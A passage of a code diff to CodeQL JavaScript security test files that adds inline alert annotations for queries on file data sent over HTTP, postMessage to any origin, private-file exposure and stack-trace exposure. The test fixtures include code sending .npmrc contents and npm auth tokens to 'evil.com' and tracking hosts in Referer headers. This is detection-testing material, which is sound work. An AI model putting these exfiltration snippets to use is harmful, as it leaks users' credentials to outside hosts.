+| FileAccessToHttp.js:52:19:52:36 | Buffer.alloc(1024) | semmle.label | Buffer.alloc(1024) |
+| FileAccessToHttp.js:53:17:53:23 | buffer2 | semmle.label | buffer2 |
+| FileAccessToHttp.js:54:15:59:5 | {\\n      ... }\\n    } | semmle.label | {\\n      ... }\\n    } |
+| FileAccessToHttp.js:58:16:58:67 | { Refer ... ing() } [Referer] | semmle.label | { Refer ... ing() } [Referer] |
+| FileAccessToHttp.js:58:27:58:33 | buffer2 | semmle.label | buffer2 |
+| FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) | semmle.label | buffer2 ... sRead2) |
+| FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) [ArrayElement] | semmle.label | buffer2 ... sRead2) [ArrayElement] |
+| FileAccessToHttp.js:58:27:58:65 | buffer2 ... tring() | semmle.label | buffer2 ... tring() |
 | bufferRead.js:12:13:12:43 | buffer | semmle.label | buffer |
 | bufferRead.js:12:22:12:43 | new Buf ... s.size) | semmle.label | new Buf ... s.size) |
 | bufferRead.js:13:21:13:26 | buffer | semmle.label | buffer |
@@ -54,16 +127,24 @@ nodes
 | bufferRead.js:15:15:15:62 | postData | semmle.label | postData |
 | bufferRead.js:15:26:15:31 | buffer | semmle.label | buffer |
 | bufferRead.js:15:26:15:62 | buffer. ... esRead) | semmle.label | buffer. ... esRead) |
-| bufferRead.js:33:21:33:28 | postData | semmle.label | postData |
+| bufferRead.js:32:21:32:28 | postData | semmle.label | postData |
+| googlecompiler.js:7:19:7:28 | codestring | semmle.label | codestring |
+| googlecompiler.js:9:7:15:4 | post_data | semmle.label | post_data |
+| googlecompiler.js:9:19:15:4 | queryst ... dy\\n  }) | semmle.label | queryst ... dy\\n  }) |
+| googlecompiler.js:9:41:15:3 | {\\n      ... ody\\n  } [js_code] | semmle.label | {\\n      ... ody\\n  } [js_code] |
+| googlecompiler.js:14:21:14:30 | codestring | semmle.label | codestring |
+| googlecompiler.js:37:18:37:26 | post_data | semmle.label | post_data |
+| googlecompiler.js:43:54:43:57 | data | semmle.label | data |
+| googlecompiler.js:55:14:55:17 | data | semmle.label | data |
 | readFileSync.js:5:5:5:39 | data | semmle.label | data |
 | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | semmle.label | fs.read ... t.txt") |
 | readFileSync.js:7:7:7:25 | s | semmle.label | s |
 | readFileSync.js:7:11:7:14 | data | semmle.label | data |
 | readFileSync.js:7:11:7:25 | data.toString() | semmle.label | data.toString() |
-| readFileSync.js:26:18:26:18 | s | semmle.label | s |
+| readFileSync.js:25:18:25:18 | s | semmle.label | s |
 | readStreamRead.js:13:13:13:35 | chunk | semmle.label | chunk |
 | readStreamRead.js:13:21:13:35 | readable.read() | semmle.label | readable.read() |
-| readStreamRead.js:30:19:30:23 | chunk | semmle.label | chunk |
+| readStreamRead.js:29:19:29:23 | chunk | semmle.label | chunk |
 | request.js:6:19:6:26 | jsonData | semmle.label | jsonData |
 | request.js:8:11:8:20 | {jsonData} | semmle.label | {jsonData} |
 | request.js:8:12:8:19 | jsonData | semmle.label | jsonData |
@@ -91,12 +172,3 @@ nodes
 | sentAsHeaders.js:24:31:24:53 | "http:/ ... content | semmle.label | "http:/ ... content |
 | sentAsHeaders.js:24:47:24:53 | content | semmle.label | content |
 subpaths
-#select
-| FileAccessToHttp.js:5:11:10:1 | {\\n  hos ... ent }\\n} | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:5:11:10:1 | {\\n  hos ... ent }\\n} | Outbound network request depends on $@. | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | file data |
-| bufferRead.js:33:21:33:28 | postData | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:33:21:33:28 | postData | Outbound network request depends on $@. | bufferRead.js:12:22:12:43 | new Buf ... s.size) | file data |
-| readFileSync.js:26:18:26:18 | s | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | readFileSync.js:26:18:26:18 | s | Outbound network request depends on $@. | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | file data |
-| readStreamRead.js:30:19:30:23 | chunk | readStreamRead.js:13:21:13:35 | readable.read() | readStreamRead.js:30:19:30:23 | chunk | Outbound network request depends on $@. | readStreamRead.js:13:21:13:35 | readable.read() | file data |
-| request.js:8:11:8:20 | {jsonData} | request.js:28:52:28:55 | data | request.js:8:11:8:20 | {jsonData} | Outbound network request depends on $@. | request.js:28:52:28:55 | data | file data |
-| request.js:16:11:23:3 | {\\n    u ... ody\\n  } | request.js:43:51:43:54 | data | request.js:16:11:23:3 | {\\n    u ... ody\\n  } | Outbound network request depends on $@. | request.js:43:51:43:54 | data | file data |
-| sentAsHeaders.js:14:20:19:9 | {\\n      ...       } | sentAsHeaders.js:10:79:10:84 | buffer | sentAsHeaders.js:14:20:19:9 | {\\n      ...       } | Outbound network request depends on $@. | sentAsHeaders.js:10:79:10:84 | buffer | file data |
-| sentAsHeaders.js:20:20:25:9 | {\\n      ...       } | sentAsHeaders.js:10:79:10:84 | buffer | sentAsHeaders.js:20:20:25:9 | {\\n      ...       } | Outbound network request depends on $@. | sentAsHeaders.js:10:79:10:84 | buffer | file data |
diff --git a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js
index 4509c3c6cc76..cfd8b18eb852 100644
--- a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js
+++ b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js
@@ -1,10 +1,61 @@
 var fs = require("fs"),
     https = require("https");
 
-var content = fs.readFileSync(".npmrc", "utf8");
+var content = fs.readFileSync(".npmrc", "utf8"); // $ Source[js/file-access-to-http]
 https.get({
   hostname: "evil.com",
   path: "/upload",
   method: "GET",
   headers: { Referer: content }
-}, () => { });
+}, () => { }); // $ Alert[js/file-access-to-http]
+
+const fsp = require("fs").promises;
+
+(async function sendRequest() {
+  try {
+    const content = await fsp.readFile(".npmrc", "utf8"); // $ Source[js/file-access-to-http]
+
+    https.get({
+      hostname: "evil.com",
+      path: "/upload",
+      method: "GET",
+      headers: { Referer: content }
+    }, () => { }); // $ Alert[js/file-access-to-http]
+
+  } catch (error) {
+    console.error("Error reading file:", error);
+  }
+})();
+
+app.post('/readv', async (req, res) => {
+  const { filename } = req.body;
+  const fd = await fsp.open(filename, 'r'); 
+
+  const buffer = [Buffer.alloc(1024), Buffer.alloc(1024)]; // $ Source[js/file-access-to-http]
+  const bytesRead = fs.readvSync(fd, buffer); 
+  https.get({
+    hostname: "evil.com",
+    path: "/upload",
+    method: "GET",
+    headers: { Referer: buffer }
+  }, () => { }); // $ Alert[js/file-access-to-http]
+
+  const buffer1 = Buffer.alloc(1024); // $ Source[js/file-access-to-http]
+  const bytesRead1 = fs.readvSync(fd, [buffer1]); 
+  https.get({
+    hostname: "evil.com",
+    path: "/upload",
+    method: "GET",
+    headers: { Referer: buffer1.slice(0, bytesRead1).toString() }
+  }, () => { }); // $ Alert[js/file-access-to-http]
+
+  const buffer2 = Buffer.alloc(1024); // $ Source[js/file-access-to-http]
+  fs.readv(fd, [buffer2], (err, bytesRead2) => {
+    https.get({
+      hostname: "evil.com",
+      path: "/upload",
+      method: "GET",
+      headers: { Referer: buffer2.slice(0, bytesRead2).toString() }
+    }, () => { }); // $ Alert[js/file-access-to-http]
+  }); 
+});
diff --git a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.qlref b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.qlref
index 4a1fe65704d2..179a1ab7c4ab 100644
--- a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.qlref
@@ -1 +1,2 @@
-Security/CWE-200/FileAccessToHttp.ql
\ No newline at end of file
+query: Security/CWE-200/FileAccessToHttp.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-200/PrivateFileExposure.qlref b/javascript/ql/test/query-tests/Security/CWE-200/PrivateFileExposure.qlref
index 716dd5d0b976..4472b387b72f 100644
--- a/javascript/ql/test/query-tests/Security/CWE-200/PrivateFileExposure.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-200/PrivateFileExposure.qlref
@@ -1 +1,2 @@
-Security/CWE-200/PrivateFileExposure.ql
\ No newline at end of file
+query: Security/CWE-200/PrivateFileExposure.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-200/bufferRead.js b/javascript/ql/test/query-tests/Security/CWE-200/bufferRead.js
index fbde5e415b97..51480cf03f39 100644
--- a/javascript/ql/test/query-tests/Security/CWE-200/bufferRead.js
+++ b/javascript/ql/test/query-tests/Security/CWE-200/bufferRead.js
@@ -9,7 +9,7 @@ fs.exists(fileName, function (exists) {
    if (exists) {
     fs.stat(fileName, function (error, stats) {
       fs.open(fileName, "r", function (error, fd) {
-        var buffer = new Buffer(stats.size);
+        var buffer = new Buffer(stats.size); // $ Source[js/file-access-to-http]
         fs.read(fd, buffer, 0, buffer.length, null, function (error, bytesRead) {
 
           var postData = buffer.toString("utf8", 0, bytesRead);
@@ -29,13 +29,12 @@ fs.exists(fileName, function (exists) {
             res.setEncoding('utf8');
           });
 
-          // BAD: write data from file to request body
-          req.write(postData);
-          req.end(); 
+          req.write(postData); // $ Alert[js/file-access-to-http] - write data from file to request body
+          req.end();
           });
 
           fs.close(fd);
         });
     });
   }
-});
\ No newline at end of file
+});
diff --git a/javascript/ql/test/query-tests/Security/CWE-200/express-send-file.js b/javascript/ql/test/query-tests/Security/CWE-200/express-send-file.js
index e0acb70d6aba..50ef20d4ab6d 100644
--- a/javascript/ql/test/query-tests/Security/CWE-200/express-send-file.js
+++ b/javascript/ql/test/query-tests/Security/CWE-200/express-send-file.js
@@ -2,5 +2,5 @@ var express = require('express'),
     app = express();
 
 app.get('/getFooFile', function(req, res) {
-    res.sendFile("foo"); // OK (for now) since this is a server-side response
+    res.sendFile("foo"); // OK - (for now) since this is a server-side response
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-200/googlecompiler.js b/javascript/ql/test/query-tests/Security/CWE-200/googlecompiler.js
index 3d72b0dc80b9..08747a50c7d4 100644
--- a/javascript/ql/test/query-tests/Security/CWE-200/googlecompiler.js
+++ b/javascript/ql/test/query-tests/Security/CWE-200/googlecompiler.js
@@ -11,7 +11,7 @@ function PostCode(codestring) {
       'output_format': 'json',
       'output_info': 'compiled_code',
         'warning_level' : 'QUIET',
-        'js_code' : codestring // BAD: passing data from file to the request json body
+        'js_code' : codestring // passing data from file to the request json body
   });
 
   // An object of options to indicate where to post to
@@ -34,14 +34,13 @@ function PostCode(codestring) {
       });
   });
 
-  // BAD: post the data from file to request body
-  post_req.write(post_data);
+  post_req.write(post_data); // $ Alert[js/file-access-to-http] - post the data from file to request body
   post_req.end();
 
 }
 
 // This is an async file read
-fs.readFile('LinkedList.js', 'utf-8', function (err, data) {
+fs.readFile('LinkedList.js', 'utf-8', function (err, data) { // $ Source[js/file-access-to-http]
   if (err) {
     // If this were just a small part of the application, you would
     // want to handle this differently, maybe throwing an exception
@@ -59,4 +58,4 @@ fs.readFile('LinkedList.js', 'utf-8', function (err, data) {
     console.log("No data to post");
     process.exit(-1);
   }
-});
\ No newline at end of file
+});
diff --git a/javascript/ql/test/query-tests/Security/CWE-200/lib/tst.js b/javascript/ql/test/query-tests/Security/CWE-200/lib/tst.js
index 5e1c3e7f1d91..23c29cde28ad 100644
--- a/javascript/ql/test/query-tests/Security/CWE-200/lib/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-200/lib/tst.js
@@ -4,8 +4,8 @@ var path = require("path");
 
 var app = express();
 
-app.use('basedir', express.static(__dirname)); // BAD
+app.use('basedir', express.static(__dirname)); // $ Alert[js/exposure-of-private-files]
 const rootDir = __dirname;
-app.use('basedir', express.static(rootDir)); // BAD
+app.use('basedir', express.static(rootDir)); // $ Alert[js/exposure-of-private-files]
 
-app.use('/monthly', express.static(__dirname + '/')); // BAD
\ No newline at end of file
+app.use('/monthly', express.static(__dirname + '/')); // $ Alert[js/exposure-of-private-files]
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-200/private-file-exposure.js b/javascript/ql/test/query-tests/Security/CWE-200/private-file-exposure.js
index 210773fba7e2..ba532d6b42e2 100644
--- a/javascript/ql/test/query-tests/Security/CWE-200/private-file-exposure.js
+++ b/javascript/ql/test/query-tests/Security/CWE-200/private-file-exposure.js
@@ -5,24 +5,24 @@ var path = require("path");
 var app = express();
 
 // Not good. 
-app.use(express.static('./node_modules/angular'));
-app.use('/angular', express.static('node_modules/angular'));
-app.use('/animate', express.static('node_modules/angular-animate'));
-app.use('/js', express.static(__dirname + '/node_modules/angular'));
-app.use('/router', express.static(__dirname + '/node_modules/angular-route/'));
-app.use(express.static('/node_modules/angular'));
-app.use('/node_modules', express.static(path.resolve(__dirname, '../node_modules')));
-app.use('/js',express.static('./'));
-app.use('/angular', express.static("./node_modules" + '/angular/'));
-app.use('/angular', express.static(path.join("./node_modules" + '/angular/')));
-app.use('/angular', express.static(path.join(__dirname, "/node_modules")));
-app.use('/angular', express.static(path.join(__dirname, "/node_modules") + '/angular/'));
+app.use(express.static('./node_modules/angular')); // $ Alert[js/exposure-of-private-files]
+app.use('/angular', express.static('node_modules/angular')); // $ Alert[js/exposure-of-private-files]
+app.use('/animate', express.static('node_modules/angular-animate')); // $ Alert[js/exposure-of-private-files]
+app.use('/js', express.static(__dirname + '/node_modules/angular')); // $ Alert[js/exposure-of-private-files]
+app.use('/router', express.static(__dirname + '/node_modules/angular-route/')); // $ Alert[js/exposure-of-private-files]
+app.use(express.static('/node_modules/angular')); // $ Alert[js/exposure-of-private-files]
+app.use('/node_modules', express.static(path.resolve(__dirname, '../node_modules'))); // $ Alert[js/exposure-of-private-files]
+app.use('/js',express.static('./')); // $ Alert[js/exposure-of-private-files]
+app.use('/angular', express.static("./node_modules" + '/angular/')); // $ Alert[js/exposure-of-private-files]
+app.use('/angular', express.static(path.join("./node_modules" + '/angular/'))); // $ Alert[js/exposure-of-private-files]
+app.use('/angular', express.static(path.join(__dirname, "/node_modules"))); // $ Alert[js/exposure-of-private-files]
+app.use('/angular', express.static(path.join(__dirname, "/node_modules") + '/angular/')); // $ Alert[js/exposure-of-private-files]
 const rootDir = __dirname;
 const nodeDir = path.join(rootDir + "/node_modules");
-app.use('/angular', express.static(nodeDir + '/angular/'));
+app.use('/angular', express.static(nodeDir + '/angular/')); // $ Alert[js/exposure-of-private-files]
+
 
 
-// Good
 app.use(express.static('./node_modules/jquery/dist'));
 app.use(express.static('./node_modules/bootstrap/dist'));
 app.use('/js', express.static(__dirname + '/node_modules/html5sortable/dist'));
@@ -33,14 +33,14 @@ app.use(express.static(__dirname + "/static/js"));
 app.use('/docs/api', express.static('docs/api'));
 app.use('/js/', express.static('node_modules/bootstrap/dist/js'))
 app.use('/css/', express.static('node_modules/font-awesome/css'));
-app.use('basedir', express.static(__dirname)); // GOOD, because there is no package.json in the same folder.
-app.use('/monthly', express.static(__dirname + '/')); // GOOD, because there is no package.json in the same folder.
+app.use('basedir', express.static(__dirname)); // OK - because there is no package.json in the same folder.
+app.use('/monthly', express.static(__dirname + '/')); // OK - because there is no package.json in the same folder.
 
 const connect = require("connect");
-app.use('/angular', connect.static(path.join(__dirname, "/node_modules") + '/angular/')); // NOT OK
-app.use('/angular', require('serve-static')(path.join(__dirname, "/node_modules") + '/angular/')); // NOT OK
-app.use('/home', require('serve-static')(require("os").homedir())); // NOT OK
-app.use('/root', require('serve-static')("/")); // NOT OK
+app.use('/angular', connect.static(path.join(__dirname, "/node_modules") + '/angular/')); // $ Alert[js/exposure-of-private-files]
+app.use('/angular', require('serve-static')(path.join(__dirname, "/node_modules") + '/angular/')); // $ Alert[js/exposure-of-private-files]
+app.use('/home', require('serve-static')(require("os").homedir())); // $ Alert[js/exposure-of-private-files]
+app.use('/root', require('serve-static')("/")); // $ Alert[js/exposure-of-private-files]
 
 // Bad documentation example
 function bad() {
@@ -48,7 +48,7 @@ function bad() {
 
     var app = express();
 
-    app.use('/node_modules', express.static(path.resolve(__dirname, '../node_modules'))); // NOT OK
+    app.use('/node_modules', express.static(path.resolve(__dirname, '../node_modules'))); // $ Alert[js/exposure-of-private-files]
 }
 
 // Good documentation example
@@ -57,17 +57,17 @@ function good() {
 
     var app = express();
 
-    app.use("jquery", express.static('./node_modules/jquery/dist')); // OK
-    app.use("bootstrap", express.static('./node_modules/bootstrap/dist')); // OK
+    app.use("jquery", express.static('./node_modules/jquery/dist'));
+    app.use("bootstrap", express.static('./node_modules/bootstrap/dist'));
 }
 
-app.use(express.static(__dirname)) // NOT OK
+app.use(express.static(__dirname)) // $ MISSING: Alert
 
 const serveHandler = require("serve-handler");
 const http = require("http");
 
 http.createServer((request, response) => {
-    serveHandler(request, response, {public: "./node_modules/angular"}); // NOT OK
+    serveHandler(request, response, {public: "./node_modules/angular"}); // $ Alert[js/exposure-of-private-files]
 
-    serveHandler(request, response); // OK
+    serveHandler(request, response);
 }).listen(8080);
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-200/readFileSync.js b/javascript/ql/test/query-tests/Security/CWE-200/readFileSync.js
index d8830351a9fd..5a85481e48d8 100644
--- a/javascript/ql/test/query-tests/Security/CWE-200/readFileSync.js
+++ b/javascript/ql/test/query-tests/Security/CWE-200/readFileSync.js
@@ -2,7 +2,7 @@
 
 var fs = require("fs");
 var http = require("http");
-let data = fs.readFileSync("input.txt");
+let data = fs.readFileSync("input.txt"); // $ Source[js/file-access-to-http]
 try {
   let s = data.toString();
   // An object of options to indicate where to post to
@@ -22,8 +22,7 @@ try {
       res.setEncoding('utf8');
   });
 
-  // BAD: post the data from file to request body
-  post_req.write(s);
+  post_req.write(s); // $ Alert[js/file-access-to-http] - post the data from file to request body
   post_req.end();
 } catch (e) {
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-200/readStreamRead.js b/javascript/ql/test/query-tests/Security/CWE-200/readStreamRead.js
index 0a3a2e105a7a..c4caf4574004 100644
--- a/javascript/ql/test/query-tests/Security/CWE-200/readStreamRead.js
+++ b/javascript/ql/test/query-tests/Security/CWE-200/readStreamRead.js
@@ -10,7 +10,7 @@ fs.exists(fileName, function (exists) {
     fs.stat(fileName, function (error, stats) {
       var readable = fs.createReadStream(fileName);
       readable.on('readable', () => {
-        let chunk = readable.read();
+        let chunk = readable.read(); // $ Source[js/file-access-to-http]
 
         const options = {
           hostname: 'www.google.com',
@@ -26,8 +26,7 @@ fs.exists(fileName, function (exists) {
           res.setEncoding('utf8');
         });
         
-        // BAD: write data from file to request body
-        req.write(chunk);
+        req.write(chunk); // $ Alert[js/file-access-to-http] - write data from file to request body
 
         req.end(); 
       });
diff --git a/javascript/ql/test/query-tests/Security/CWE-200/request.js b/javascript/ql/test/query-tests/Security/CWE-200/request.js
index d51ba140e51a..88eb5f6bbb25 100644
--- a/javascript/ql/test/query-tests/Security/CWE-200/request.js
+++ b/javascript/ql/test/query-tests/Security/CWE-200/request.js
@@ -5,7 +5,7 @@ var request = require('request');
 
 function PostJSON(jsonData)
 {
-  request({jsonData}, function (error, response, body){ // BAD: passing data from file to the request body
+  request({jsonData}, function (error, response, body){ // $ Alert[js/file-access-to-http] - passing data from file to the request body
     console.log(response);
   });
 }
@@ -19,13 +19,13 @@ function PostXML(xmlData)
     headers: {
         "content-type": "application/xml",
     },
-    body: xmlData    // BAD: passing data from file to the request body
-  }, function (error, response, body){
+    body: xmlData    // passing data from file to the request body
+  }, function (error, response, body){ // $ Alert[js/file-access-to-http]
     console.log(response);
   });
 }
 
-fs.readFile('MyFile.json', 'utf-8', function (err, data) { // source
+fs.readFile('MyFile.json', 'utf-8', function (err, data) { // $ Source[js/file-access-to-http] - source
   if (err) {
     console.log("FATAL An error occurred trying to read in the file: " + err);
     process.exit(-2);
@@ -40,7 +40,7 @@ fs.readFile('MyFile.json', 'utf-8', function (err, data) { // source
   }
 });
 
-fs.readFile('MyFile.xml', 'utf-8', function (err, data) {           // source
+fs.readFile('MyFile.xml', 'utf-8', function (err, data) {           // $ Source[js/file-access-to-http] - source
   if (err) {
     console.log("FATAL An error occurred trying to read in the file: " + err);
     process.exit(-2);
diff --git a/javascript/ql/test/query-tests/Security/CWE-200/sentAsHeaders.js b/javascript/ql/test/query-tests/Security/CWE-200/sentAsHeaders.js
index a943e8059a3f..9830b4bca822 100644
--- a/javascript/ql/test/query-tests/Security/CWE-200/sentAsHeaders.js
+++ b/javascript/ql/test/query-tests/Security/CWE-200/sentAsHeaders.js
@@ -7,7 +7,7 @@ try {
     content = fs.readFileSync(npmrc, { encoding: "utf8" });
     fs.open(npmrc, "r", function (error, fd) {
       var buffer = new Buffer(stats.size);
-      fs.read(fd, buffer, 0, buffer.length, null, function (error, bytesRead, buffer) {
+      fs.read(fd, buffer, 0, buffer.length, null, function (error, bytesRead, buffer) { // $ Source[js/file-access-to-http]
         var content = buffer.toString("utf8", 0, bytesRead);
         content = content.replace("//registry.npmjs.org/:_authToken=", "").trim();
         var https1 = require("https");
@@ -15,14 +15,14 @@ try {
           hostname: "sstatic1.histats.com",
           path: "/0.gif?4103075&101",
           method: "GET",
-          headers: { Referer: "http://1.a/" + content } //BAD: passing stolen token in a  header
-        }, () => { })
+          headers: { Referer: "http://1.a/" + content } // passing stolen token in a  header
+        }, () => { }) // $ Alert[js/file-access-to-http]
         https1.get({
           hostname: "c.statcounter.com",
           path: "/11760461/0/7b5b9d71/1/",
           method: "GET",
-          headers: { Referer: "http://2.b/" + content } //BAD: passing stolen token in a  header
-        }, () => { })
+          headers: { Referer: "http://2.b/" + content } // passing stolen token in a  header
+        }, () => { }) // $ Alert[js/file-access-to-http]
       });
     });
   }
diff --git a/javascript/ql/test/query-tests/Security/CWE-200/subfolder/private-file-exposure-2.js b/javascript/ql/test/query-tests/Security/CWE-200/subfolder/private-file-exposure-2.js
index ec2e40a7c2b3..b6243e115f1c 100644
--- a/javascript/ql/test/query-tests/Security/CWE-200/subfolder/private-file-exposure-2.js
+++ b/javascript/ql/test/query-tests/Security/CWE-200/subfolder/private-file-exposure-2.js
@@ -3,4 +3,4 @@ var http = require('http')
 var app = express()
 var server = http.createServer(app)
 // Static files:
-app.use(express.static(__dirname))
+app.use(express.static(__dirname)) // $ Alert[js/exposure-of-private-files]
diff --git a/javascript/ql/test/query-tests/Security/CWE-201/PostMessageStar.expected b/javascript/ql/test/query-tests/Security/CWE-201/PostMessageStar.expected
index bd939420ab38..a083947b5b27 100644
--- a/javascript/ql/test/query-tests/Security/CWE-201/PostMessageStar.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-201/PostMessageStar.expected
@@ -1,3 +1,9 @@
+#select
+| PostMessageStar2.js:1:27:1:34 | password | PostMessageStar2.js:1:27:1:34 | password | PostMessageStar2.js:1:27:1:34 | password | $@ is sent to another window without origin restriction. | PostMessageStar2.js:1:27:1:34 | password | Sensitive data |
+| PostMessageStar2.js:8:29:8:32 | data | PostMessageStar2.js:5:14:5:21 | password | PostMessageStar2.js:8:29:8:32 | data | $@ is sent to another window without origin restriction. | PostMessageStar2.js:5:14:5:21 | password | Sensitive data |
+| PostMessageStar2.js:9:29:9:36 | data.foo | PostMessageStar2.js:5:14:5:21 | password | PostMessageStar2.js:9:29:9:36 | data.foo | $@ is sent to another window without origin restriction. | PostMessageStar2.js:5:14:5:21 | password | Sensitive data |
+| PostMessageStar2.js:13:27:13:33 | authKey | PostMessageStar2.js:13:27:13:33 | authKey | PostMessageStar2.js:13:27:13:33 | authKey | $@ is sent to another window without origin restriction. | PostMessageStar2.js:13:27:13:33 | authKey | Sensitive data |
+| PostMessageStar.js:1:27:1:34 | userName | PostMessageStar.js:1:27:1:34 | userName | PostMessageStar.js:1:27:1:34 | userName | $@ is sent to another window without origin restriction. | PostMessageStar.js:1:27:1:34 | userName | Sensitive data |
 edges
 | PostMessageStar2.js:5:3:5:6 | [post update] data [foo] | PostMessageStar2.js:8:29:8:32 | data | provenance |  |
 | PostMessageStar2.js:5:3:5:6 | [post update] data [foo] | PostMessageStar2.js:9:29:9:32 | data [foo] | provenance |  |
@@ -13,9 +19,3 @@ nodes
 | PostMessageStar2.js:13:27:13:33 | authKey | semmle.label | authKey |
 | PostMessageStar.js:1:27:1:34 | userName | semmle.label | userName |
 subpaths
-#select
-| PostMessageStar2.js:1:27:1:34 | password | PostMessageStar2.js:1:27:1:34 | password | PostMessageStar2.js:1:27:1:34 | password | $@ is sent to another window without origin restriction. | PostMessageStar2.js:1:27:1:34 | password | Sensitive data |
-| PostMessageStar2.js:8:29:8:32 | data | PostMessageStar2.js:5:14:5:21 | password | PostMessageStar2.js:8:29:8:32 | data | $@ is sent to another window without origin restriction. | PostMessageStar2.js:5:14:5:21 | password | Sensitive data |
-| PostMessageStar2.js:9:29:9:36 | data.foo | PostMessageStar2.js:5:14:5:21 | password | PostMessageStar2.js:9:29:9:36 | data.foo | $@ is sent to another window without origin restriction. | PostMessageStar2.js:5:14:5:21 | password | Sensitive data |
-| PostMessageStar2.js:13:27:13:33 | authKey | PostMessageStar2.js:13:27:13:33 | authKey | PostMessageStar2.js:13:27:13:33 | authKey | $@ is sent to another window without origin restriction. | PostMessageStar2.js:13:27:13:33 | authKey | Sensitive data |
-| PostMessageStar.js:1:27:1:34 | userName | PostMessageStar.js:1:27:1:34 | userName | PostMessageStar.js:1:27:1:34 | userName | $@ is sent to another window without origin restriction. | PostMessageStar.js:1:27:1:34 | userName | Sensitive data |
diff --git a/javascript/ql/test/query-tests/Security/CWE-201/PostMessageStar.js b/javascript/ql/test/query-tests/Security/CWE-201/PostMessageStar.js
index 63aa2666c69d..016e89c00a9b 100644
--- a/javascript/ql/test/query-tests/Security/CWE-201/PostMessageStar.js
+++ b/javascript/ql/test/query-tests/Security/CWE-201/PostMessageStar.js
@@ -1 +1 @@
-window.parent.postMessage(userName, '*');
+window.parent.postMessage(userName, '*'); // $ Alert
diff --git a/javascript/ql/test/query-tests/Security/CWE-201/PostMessageStar.qlref b/javascript/ql/test/query-tests/Security/CWE-201/PostMessageStar.qlref
index 1f3b38b16f01..d0f8719b20ad 100644
--- a/javascript/ql/test/query-tests/Security/CWE-201/PostMessageStar.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-201/PostMessageStar.qlref
@@ -1 +1,2 @@
-Security/CWE-201/PostMessageStar.ql
\ No newline at end of file
+query: Security/CWE-201/PostMessageStar.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-201/PostMessageStar2.js b/javascript/ql/test/query-tests/Security/CWE-201/PostMessageStar2.js
index 74c1e5ff8bf0..eeb064e6f571 100644
--- a/javascript/ql/test/query-tests/Security/CWE-201/PostMessageStar2.js
+++ b/javascript/ql/test/query-tests/Security/CWE-201/PostMessageStar2.js
@@ -1,13 +1,13 @@
-window.parent.postMessage(password, '*'); // NOT OK
+window.parent.postMessage(password, '*'); // $ Alert
 
 (function() {
   var data = {};
-  data.foo = password;
+  data.foo = password; // $ Source
   data.bar = "unproblematic";
 
-  window.parent.postMessage(data, '*');     // NOT OK
-  window.parent.postMessage(data.foo, '*'); // NOT OK
-  window.parent.postMessage(data.bar, '*'); // OK
+  window.parent.postMessage(data, '*');     // $ Alert
+  window.parent.postMessage(data.foo, '*'); // $ Alert
+  window.parent.postMessage(data.bar, '*');
 })();
 
-window.parent.postMessage(authKey, '*');
+window.parent.postMessage(authKey, '*'); // $ Alert
diff --git a/javascript/ql/test/query-tests/Security/CWE-209/StackTraceExposure.expected b/javascript/ql/test/query-tests/Security/CWE-209/StackTraceExposure.expected
index 8754a6cbdf01..12250b50a57b 100644
--- a/javascript/ql/test/query-tests/Security/CWE-209/StackTraceExposure.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-209/StackTraceExposure.expected
@@ -1,3 +1,7 @@
+#select
+| node.js:11:13:11:21 | err.stack | node.js:8:10:8:12 | err | node.js:11:13:11:21 | err.stack | This information exposed to the user depends on $@. | node.js:8:10:8:12 | err | stack trace information |
+| tst.js:7:13:7:13 | e | tst.js:6:12:6:12 | e | tst.js:7:13:7:13 | e | This information exposed to the user depends on $@. | tst.js:6:12:6:12 | e | stack trace information |
+| tst.js:17:11:17:17 | e.stack | tst.js:6:12:6:12 | e | tst.js:17:11:17:17 | e.stack | This information exposed to the user depends on $@. | tst.js:6:12:6:12 | e | stack trace information |
 edges
 | node.js:8:10:8:12 | err | node.js:11:13:11:15 | err | provenance |  |
 | node.js:11:13:11:15 | err | node.js:11:13:11:21 | err.stack | provenance |  |
@@ -17,7 +21,3 @@ nodes
 | tst.js:17:11:17:11 | e | semmle.label | e |
 | tst.js:17:11:17:17 | e.stack | semmle.label | e.stack |
 subpaths
-#select
-| node.js:11:13:11:21 | err.stack | node.js:8:10:8:12 | err | node.js:11:13:11:21 | err.stack | This information exposed to the user depends on $@. | node.js:8:10:8:12 | err | stack trace information |
-| tst.js:7:13:7:13 | e | tst.js:6:12:6:12 | e | tst.js:7:13:7:13 | e | This information exposed to the user depends on $@. | tst.js:6:12:6:12 | e | stack trace information |
-| tst.js:17:11:17:17 | e.stack | tst.js:6:12:6:12 | e | tst.js:17:11:17:17 | e.stack | This information exposed to the user depends on $@. | tst.js:6:12:6:12 | e | stack trace information |
diff --git a/javascript/ql/test/query-tests/Security/CWE-209/StackTraceExposure.qlref b/javascript/ql/test/query-tests/Security/CWE-209/StackTraceExposure.qlref
